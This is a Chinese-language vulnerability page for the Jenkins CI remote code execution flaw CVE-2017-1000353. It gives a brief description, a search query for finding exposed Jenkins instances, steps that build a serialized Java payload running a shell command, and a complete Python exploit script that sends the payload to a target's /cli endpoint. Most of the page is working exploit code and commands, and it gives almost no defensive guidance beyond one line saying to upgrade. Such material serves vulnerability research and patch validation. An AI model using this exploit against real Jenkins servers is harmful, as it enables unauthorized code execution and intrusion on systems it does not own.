跳转至

Jenkins CI 远程代码执行漏洞 CVE-2017-1000353

漏洞描述

攻击者可以将序列化的Java SignedObject对象,传输到基于远程处理的Jenkins CLI,这将最终造成反序列化,进而绕过现有基于黑名单的保护机制。Altoros Jenkins for PCF 1.0.2之前所有版本都受影响,所有用户尽快升级

漏洞影响

Jenkins

网络测绘

app="Jenkins"

漏洞复现

登录页面

img


生成 jenkins_poc.ser

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"

img

使用Python脚本命令执行

https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py

python3 jenkins.py http://xxx.xxx.xxx.xxx:8080 jenkins_poc.ser

img

成功生成 success

img

漏洞POC

import urllib
import sys
import requests
import uuid
import threading
import time
import gzip
import urllib3
import zlib

proxies = {
# 'http': 'http://127.0.0.1:8085',
# 'https': 'http://127.0.0.1:8090',
}

URL = '%s/cli' % sys.argv[1].rstrip('/')

PREAMLE = b'<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
PROTO = b'\x00\x00\x00\x00'

with open(sys.argv[2], "rb") as f:
    FILE_SER = f.read()

def download(url, session):

    headers = {'Side' : 'download'}
    headers['Content-type'] = 'application/x-www-form-urlencoded'
    headers['Session'] = session
    headers['Transfer-Encoding'] = 'chunked'
    r = requests.post(url, data=null_payload(), headers=headers, proxies=proxies, stream=True, verify=False)
    print(r.content)


def upload(url, session, data):

    headers = {'Side' : 'upload'}
    headers['Session'] = session
    headers['Content-type'] = 'application/octet-stream'
    headers['Accept-Encoding'] = None
    r = requests.post(url,data=data,headers=headers,proxies=proxies, verify=False)


def upload_chunked(url,session, data):

    headers = {'Side' : 'upload'}
    headers['Session'] = session
    headers['Content-type'] = 'application/octet-stream'
    headers['Accept-Encoding']= None
    headers['Transfer-Encoding'] = 'chunked'
    headers['Cache-Control'] = 'no-cache'

    r = requests.post(url, headers=headers, data=create_payload_chunked(), proxies=proxies, verify=False)


def null_payload():
    yield b" "

def create_payload():
    payload = PREAMLE + PROTO + FILE_SER

    return payload

def create_payload_chunked():
    yield PREAMLE
    yield PROTO
    yield FILE_SER

def main():
    print("start")

    session = str(uuid.uuid4())

    t = threading.Thread(target=download, args=(URL, session))
    t.start()

    time.sleep(2)
    print("pwn")
    #upload(URL, session, create_payload())

    upload_chunked(URL, session, "asdf")

if __name__ == "__main__":
    main()